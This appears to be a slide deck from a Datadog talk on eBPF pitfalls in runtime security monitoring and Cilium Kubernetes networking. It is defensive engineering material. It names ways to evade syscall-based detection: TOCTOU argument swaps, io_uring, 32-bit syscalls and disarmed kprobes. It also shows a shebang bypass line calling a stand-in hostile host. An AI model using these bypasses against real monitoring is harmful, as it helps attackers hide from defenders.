Troubles and Tidbits from Datadog’s eBPF Journey

Guillaume Fournier
Hemanth Malla
eBPF for Security
Some context about Cloud Security Management
Some context about Cloud Security Management

- Initial launched early 2020
- Detect threats in cloud environments
- Detection rules & behavioral analysis
Some context about Cloud Workload Security

Product requirements

- Major Linux distributions
- Infrastructure metadata for all cloud providers
- Support cloud instances and laptops
- Support all container runtimes

We had to support all kernels down to 4.12 (+ Centos 7)
Some context about Cloud Workload Security

Important design decisions

- **We want to build and monitor a historical process tree**
  Make sure we never lose context of who the “real” parent of a process is

- **Rules are evaluated in user space**
  Some data (like container metadata) isn’t available in kernel space

- **Rules can be written on a wide variety of events and syscall contexts**
  Process executions, file system activity, network activity, etc
Chapter 1:
Sorry, your hook point wasn’t called!
Sorry, your hook point wasn’t called!

Product requirements consequences

Only kprobes, tracepoints and TC classifiers are available
(BPF LSM would be the go to option without the compatibility requirements)

We need to collect syscall arguments and return values
(or kernel processed arguments for pointer arguments to user space memory)
Sorry, your hook point wasn’t called!

Whoopsie 1
Missing hook points
32 bits programs syscalls on 64 bits machines

Kprobes
Need to hook on all compatibility layers:
- sys_*
- compat_sys_*
- ia32_compat_sys_*

Tracepoints
- Normal syscall tracepoints will **not** trigger for 32 bits programs
- Use “raw_syscalls/sys_enter” and “raw_syscalls/sys_exit” and translate the syscall IDs in case of 32 bits syscalls

See kernel documentation here
See kernel source code here

This means we were not vulnerable
Sorry, your hook point wasn’t called!

Whoopsie 2
Missing hook points
new syscalls and io_uring

Stay on the lookout for new syscalls
Openat2 was added in kernel 5.6

[runtime-security] Add support for openat2 syscall

The io_uring problems
- io_uring was added as a way to run syscalls asynchronously
- Need to hook the io_* family functions
- WARNING: the process context is a kworker!
Sorry, your hook point wasn’t called!

Whoopsie 3
Cases where hook points were actually not called
"maxactive" and hardware interrupts

Max active parameter
- Our events are sent from the return syscall hook points
- On some older kernel versions (and Centos 7), it cannot be configured
- Under pressure this results in a loss of coverage
→ Use the “raw_syscall/sys_exit” tracepoint

Hardware interrupts
- Hooking kprobes on functions that may be called in the context of an interrupt will result in “missed” kprobes.
- For example: tcp_set_state
→ Don’t hook these functions!

Thanks to Usama Saqib for investigating and figuring out this issue!
Sorry, your hook point wasn’t called!

Whoopsie 4
Cases where hook points were actually not called
hook points on kernel modules

Kernel modules can be removed and reloaded
- This happened for our hook points that watch NAT operations
- On some laptops, the Datadog Agent was started before the module is started
  → Watch kernel modules and dynamically add the probes you need!
Chapter 2:

Next time, make sure you actually get what you need!
Next time, make sure you actually get what you need!

Whoopsie 5
Time of Check - Time of Use issues

Capturing syscall arguments is vulnerable to changes on pointer values
- Affects all eBPF based solutions that rely on syscall argument values
- It relies on luck - or the ability to control or guess when the kernel reads the content of an argument
  ➔ Use internal kernel copies of the content of the arguments

See Rex Guo’s and Junyuan Zeng’s presentation [here](#)
Next time, make sure you actually get what you need!

Whoopsie 6
Communication channels with user space
“perf event” buffers and ring buffers

Lost events are the worst enemy of coverage
- They happen when the communication channel is full
- Although unpredictable they mostly happen under pressure
- They’re responsible for blind spots and inaccurate process context attribution

→ Use kernel space filtering as often as possible
Next time, make sure you actually get what you need!

Whoopsie 7
Interpreters

Interpreters are often forgotten because they’re not visible from the syscall arguments

- The simplest bypass of all time:
  ```bash
  #!/bin/curl https://www.ev1l.com
  ```
- The execution of the script is visible, but it might not trigger a rule while the interpreter could have.

→ Rules need to be written on interpreters as well!
The environment

Whoopsie 8
Interfering with other eBPF based tools
TC classifiers

There are many race conditions within the TC subsystem

- Cilium and Datadog removed each other

➔ Follow a few simple rules (for legacy TC):
  ◆ Never answer TC_ACT_OK
  ◆ Never hardcode the handler of a filter
  ◆ Never delete the cls_act qdisc
  ◆ Make your priority configurable

Tales from an eBPF Program’s Murder Mystery
Hemanth Malla & Guillaume Fournier, Datadog

See the slides [here](#)
The environment

Whoopsie 9
Making a choice between service availability and security
Out of Memory kills

When a system is under pressure, it is more likely to reclaim memory

- Solutions based on kprobes / tracepoints are susceptible to coverage loss because OOM kills
- Things quickly snowball when you monitor the exact activity that is under pressure

➔ There is no real solution, using memory constraints is eventually a product decision
The environment

Whoopsie 10
Some kernel features are your worst enemies

kprobe_all_disarmed, ftrace_enabled, ftrace_disabled

The kernel has the ability to disable kprobes and function tracing

- There is no “out of the box” way to truly monitor the state of these parameters
- We’ve resorted to checking their values through an “eRPC call” and reading directly from kernel memory

→ Switch to BPF LSM when possible, when not, monitor the values of these variables
eBPF for Networking
Datadog

- Engineer @ Compute Data Plane team
- All things container networking
- Kubernetes + Cilium
Cilium

- Cilium agent on every node in the cluster
- Attaches tc/XDP eBPF programs
- Allows for getting rid of kube-proxy
- Also used for policy, IPAM and other eBPF perks
Service Connectivity Issues
ClusterIP Service

- Type of Kubernetes service
- Provides a single IP accessible from anywhere in the cluster
- Implemented in cilium using eBPF maps and progs
Graceful termination

- Watch for pods in terminating state
- Proactively removed from service backends
- �藏 with backend cleanup logic if service with terminating backends is deleted
Service backend leak

<table>
<thead>
<tr>
<th>Name</th>
<th>Num entries</th>
<th>Num errors</th>
<th>Cache enabled</th>
</tr>
</thead>
<tbody>
<tr>
<td>cilium_lb4_source_range</td>
<td>0</td>
<td>0</td>
<td>true</td>
</tr>
<tr>
<td>cilium_incache</td>
<td>11487</td>
<td>0</td>
<td>true</td>
</tr>
<tr>
<td><strong>cilium_lb4_backends_v2</strong></td>
<td><strong>3070</strong></td>
<td>2001</td>
<td>true</td>
</tr>
<tr>
<td>cilium_tun_reverse_nat</td>
<td>4239</td>
<td>0</td>
<td>true</td>
</tr>
<tr>
<td>cilium_policy_02000</td>
<td>0</td>
<td>0</td>
<td>false</td>
</tr>
<tr>
<td>cilium_policy_02901</td>
<td>0</td>
<td>0</td>
<td>false</td>
</tr>
<tr>
<td>cilium_lxc</td>
<td>2</td>
<td>0</td>
<td>true</td>
</tr>
<tr>
<td>cilium_lb4_services_v2</td>
<td>4127</td>
<td>0</td>
<td>true</td>
</tr>
<tr>
<td>cilium_policy_03060</td>
<td>0</td>
<td>0</td>
<td>false</td>
</tr>
<tr>
<td>cilium_metrics</td>
<td>0</td>
<td>0</td>
<td>false</td>
</tr>
</tbody>
</table>

github.com/cilium/cilium/pull/23858
BPF map pressure

max:cilium.bpf.map_pressure(*) by {map_name}
BPF map pressure

- Does not cover all bpf maps
- Limitation with LRU bpf maps
- Missing support for connection tracking bpf maps
bpf: adding map batch processing support

From: Yonghong Song <yhs-AT-fb.com>
To: <bpf-AT-vger.kernel.org>, <netdev-AT-vger.kernel.org>
Subject: [PATCH bpf-next 00/13] bpf: adding map batch processing support
Date: Wed, 28 Aug 2019 23:45:02 -0700
Message-ID: <20190829064502.2750303-1-yhs@fb.com>
Cc: Alexei Starovoitov <ast-AT-fb.com>, Brian Vazquez <brianv-AT-google.com>, Daniel Borkmann <daniel-AT-iogearbox.net>, <kernel-team-AT-fb.com>, Yonghong Song <yhs-AT-fb.com>

Archive-link: Article

Brian Vazquez has proposed BPF_MAP_DUMP command to map entries per syscall.
https://lore.kernel.org/bpf/CABCqpaU3xxX6CMmxo+1k

During discussion, we found more use cases can be s map operation batching framework. For example, batch which can be really helpful for bcc.
https://github.com/iovisor/bcc/blob/master/tools/
https://github.com/iovisor/bcc/blob/master/tools/

measure_lookup: max_entries 1000000, batch 10, time 342ms
measure_lookup: max_entries 1000000, batch 1000, time 295ms
measure_lookup: max_entries 1000000, batch 1000000, time 270ms
measure_lookup: max_entries 1000000, no batching, time 1346ms
measure_lookup_delete: max_entries 1000000, batch 10, time 433ms
measure_lookup_delete: max_entries 1000000, batch 1000000, time 363ms
measure_lookup_delete: max_entries 1000000, no batching, time 357ms
measure_lookup_delete: max_entries 1000000, not batch, time 1894ms
measure_delete: max_entries 1000000, batch, time 220ms
measure_delete: max_entries 1000000, not batch, time 1289ms

From Linux Kernel 5.6+
bpf, ctmap: Implement map pressure metric for CT maps

This commit adds the ability to publish the CT map pressure via cilium_bpf_map_pressure metric.

It does this by counting the number of elements in the CT maps via batch map lookup, which is far more efficient than doing an element-by-element lookup. The counting is done at a fixed-interval.

Signed-off-by: Chris Tarazi <chris@isovalent.com>

christarazi committed last month
[PATCH v5 bpf-next 0/5] bpf: add percpu stats for bpf_map
@ 2023-07-06 13:39 Anton Protopopov
  2023-07-06 13:39 ` [PATCH v5 bpf-next 1/5] bpf: add percpu stats for bpf_map elements in`
    ` (5 more replies)
0 siblings, 6 replies; 7+ messages in thread
From: Anton Protopopov @ 2023-07-06 13:39 UTC (permalink / raw)
  To: Alexei Starovoitov, Daniel Borkmann, John Fastabend,
    Andrii Nakryiko, Martin KaFai Lau, Song Liu, Yonghong Song,
    KP Singh, Stanislav Fomichev, Hao Luo, Jiri Olsa, Hou Tao, bpf
  Cc: Anton Protopopov

This series adds a mechanism for maps to populate per-cpu counters on
insertions/deletions. The sum of these counters can be accessed by a new kfunc
from map iterator and tracing programs.

The following patches are present in the series:

* Patch 1 adds a generic per-cpu counter to struct bpf_map
* Patch 2 adds a new kfunc to access the sum of per-cpu counters
* Patch 3 utilizes this mechanism for hash-based maps
* Patch 4 extends the preloaded map iterator to dump the sum
* Patch 5 adds a self-test for the change
Limitations with LRU maps

Pressure Feedback for LRU Maps

Joe Stringer
Isovalent

lpc.events/event/16/contributions/1368/
Few more gotchas

- --bpf-map-dynamic-size-ratio can help
- Policy map with allow all policies
- Caution while resizing maps
- Missed tail call packet drops
Always migrate tail call maps #20691

ti-mo commented on Jul 28, 2022 • edited

Context: #20425 (comment)

During ELF loading, the loader can encounter a tail call map with a different maxentries compared to the already-pinned tail call map for the endpoint, which leads it to recreate the map with the new size. Currently, when the agent starts up (or when a contributor changes some BPF.c during development and triggers an endpoint regenerate), there are 2 possible scenarios:

- The tail call map’s properties (type, k, v, maxentries, flags) are different, so the map needs to be recreated. In this case: build ELF, load ELF from disk, see map properties have changed, move old map, create new map, pin new map, load all progs in the ELF (including entyrpoint) into the kernel, put all prog fds into new tail call map (one by one..), atomically replace bpf entrypoint on the qdisc/xdp.

- Map properties are the same (not grown or shrunk), so the same pinned map is re-used. Build ELF, load ELF, open pinned map, load all progs into the kernel, put all prog fds into the pinned map one by one (which is still actively used by an existing qdisc/xdp), only then replace the entrypoint.

In the latter scenario, populating the tail call map is a sequential operation, not all prog array slots are replaced at once. Re-using a pinned tail call map causes an inconsistent view of the world while the new progs are being inserted into the existing map. If we move some logic from e.g. tail call 1 to tail call 11, packets are still handled while we’re repopulating the tail call map. This could cause packets to be accepted or dropped erroneously.

I propose we remove the map migration concept entirely. Not only because it complicates the loader process, but also because the gains are negligible. The difference between both scenarios is the bpfcs dir rename (and removal afterwards) and creation of the new tail call map, which consumes only a small amount of memory.

github.com/cilium/cilium/issues/20691
Cilium Identity Corruption
Cilium Identity Corruption

- Cluster ID + Pod Identity = Global Identity
- Random cluster ID at provisioning time
- Datapath serializes identity into kernel’s skb mark
Cluster ID > 128

Offset: 24 16 8 0
Identity: XXXX XXXX CCCC CCCC LLLL KKKK JJJJ IIII
<unused> <cluster> <pod identity>

Serialised to mark: LLLL KKKK JJJJ IIII PPPP PPPP CCCC CCCC

Thanks to Eric Mountain for his deep dive and illustrations!
Overlap with multi-node Nodeport - AWS ENI

```
-t mangle -A PREROUTING -i eni+ -m comment --comment "AWS, primary ENI" -j CONNMARK --restore-mark --nfmask 0x80 --ctmask 0x80
```

```
<table>
<thead>
<tr>
<th>LLLL</th>
<th>KKKK</th>
<th>JJJJ</th>
<th>IIII</th>
<th>PPPP</th>
<th>PPPP</th>
<th>CCCC</th>
<th>CCCC</th>
</tr>
</thead>
<tbody>
<tr>
<td>0011</td>
<td>0001</td>
<td>1010</td>
<td>1010</td>
<td>0000</td>
<td>1111</td>
<td>0011</td>
<td>1101</td>
</tr>
<tr>
<td>0011</td>
<td>0001</td>
<td>1010</td>
<td>1010</td>
<td>0000</td>
<td>1111</td>
<td>1011</td>
<td>1101</td>
</tr>
</tbody>
</table>
```

833228605 Wrong!

833228733 Expected

Thanks to Eric Mountain for his deep dive and illustrations!
The firewall mark registry is a registry for software that uses the packet or connection mark features of Linux’s packet filter system (Netfilter, sometimes colloquially called iptables or nftables after the userspace tools).

There are two registries, one for bitwise users and one for whole-mark users. For

https://github.com/fwmark/registry

<table>
<thead>
<tr>
<th>Bits</th>
<th>Mark mask</th>
<th>Software</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>0-12,16-31</td>
<td>0xFFF1FFF</td>
<td>Cilium</td>
<td>Source code</td>
</tr>
<tr>
<td>7</td>
<td>0x00000080</td>
<td>AWS CNI</td>
<td>Source code</td>
</tr>
<tr>
<td>13</td>
<td>0x00002000</td>
<td>CNI Portmap</td>
<td>Documentation</td>
</tr>
<tr>
<td>14-15</td>
<td>0x0000C000</td>
<td>Kubernetes</td>
<td>Source code</td>
</tr>
<tr>
<td>16-31</td>
<td>0xFFF0000</td>
<td>Calico</td>
<td>Documentation</td>
</tr>
<tr>
<td>17-18</td>
<td>0x60000</td>
<td>Weave Net</td>
<td>Source code</td>
</tr>
<tr>
<td>18-19</td>
<td>0xC0000</td>
<td>Tailscale</td>
<td>Source code</td>
</tr>
</tbody>
</table>
sk_reuseport + bpf_sk_assign
toFQDN egress network policies

```yaml
apiVersion: cilium.io/v2
group: CiliumNetworkPolicy
metadata:
  name: "some-tofqdn-policy"
spec:
  endpointSelector:
    matchLabels:
      foo: bar
  egress:
    - toFQDNs:
      - matchPattern: "*.datadog.com"
    - toEndpoints:
      - matchLabels:
        "k8s:io.kubernetes.pod.namespace": kube-system
        "k8s:k8s-app": kube-dns
  toPorts:
    - ports:
      - port: 53
        protocol: ANY
    rules:
      - dns:
        - matchPattern: "*"
```
Node

K8S Pod

DNS OR

DNS

Standalone DNS Proxy

Cilium Agent's DNS Proxy

CoreDNS

CIDR Policy

eBPF Datapath

Destination Service

toFQDN HA
Works great on PoC

Fails on Cilium Datapath
bpftrace

```c
kprobe: reuseport_select_sock
{
    $sk = ((struct sock *) arg0);
    $hash = arg1;
    $skb = (struct sk_buff *) arg2;
    $hdr_len = arg3;

    printf("%s
", kstack);
    printf("reuseport_select_sock(%p, %x, %p, %d):\n", $sk, $hash, $skb, $hdr_len);

    ....
    ....
}
```

reuseport_select_sock(0xffffffffc112fb600, bd9f055e, (nil), 8):
Add SO_REUSEPORT support for TC bpf_sk_assign

From: Lorenz Bauer <lmb-AT-isovalent.com>
Subject: [PATCH bpf-next v5 0/7] Add SO_REUSEPORT support for TC bpf_sk_assign
Date: Tue, 04 Jul 2023 14:46:22 +0100
Message-ID: <20230613-so-reuseport-v5-0-f6686a0dbce0@isovalent.com>
Archive-link: Article
eBPF Summit 2023

Hot standby load balancing with SO_REUSEPORT and eBPF

Heiyanth Malla

https://www.youtube.com/watch?v=fLmjIC1N0uY
Thank you